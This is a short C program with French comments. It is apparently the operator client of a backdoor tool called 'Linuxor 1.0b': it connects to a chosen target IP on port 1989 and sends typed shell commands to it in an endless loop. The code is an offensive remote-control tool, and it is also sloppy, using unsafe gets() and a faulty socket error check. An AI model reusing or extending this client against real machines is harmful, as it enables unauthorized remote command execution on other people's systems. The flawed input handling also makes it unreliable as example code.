#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

void ascii_linuxor();

int main()
{
    char ip_cible[16];
    char buffer[50];
    char reponse[10+1];
    struct sockaddr_in sin;
    int backport=0;

    system("clear");
    ascii_linuxor();

    printf("\nentrez l'ip de la cible : ");
    gets(ip_cible);

    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(ip_cible);
    sin.sin_port = htons(1989);

    printf("\nouverture du socket");
    backport = socket(AF_INET, SOCK_STREAM, 0);     // Création du socket
    if (backport == 0)
    {
        perror("socket()");
        return -1;
    }
    else
        printf ("       OK");

    printf("\nconnexion à la cible");
    if (connect(backport, (struct sockaddr *)&sin, sizeof(sin)) < 0)
    {
        perror("connect()");
        return -1;
    }
    else
        printf ("       OK");

    while (1)
    {
        sprintf(buffer, ""); // reset du buffer

        printf ("\nUser/$: ");
        gets(buffer);

        send(backport, buffer, sizeof(buffer), 0); // on envoie la commande

        sprintf(reponse, ""); // reset du buffer

        recv(backport, reponse, sizeof(reponse), 0);        // on attends la première réponse
        printf ("réponse : %s\n", reponse);

        sprintf(reponse, ""); // reset du buffer

        recv(backport, reponse, sizeof(reponse), 0);        // on attends la deuxieme réponse
        printf ("réponse : %s\n", reponse);

    }


    close(backport);
    return 0;
}

void ascii_linuxor()
{
    printf("###            #\n");
    printf("####                ########     #     ##  ###   ###    ######      ########\n");
    printf("###           ###   ##      ##  ##     ##    ## ###    ##    ##     ##     ##\n");
    printf("###           ###   ##      ##  ##     ##     ###     ##      ##    ##\n");
    printf("####          ##    ##      ##  ##     ##    ### ##    ##    ##     ##\n");
    printf("#########     ###   ##      ##  ##     ##   ###   ###   ##  ##      ##\n");
    printf("######################       #  ######### ####     ###################\n");
    printf("                                                                       1.0b\n\n");
}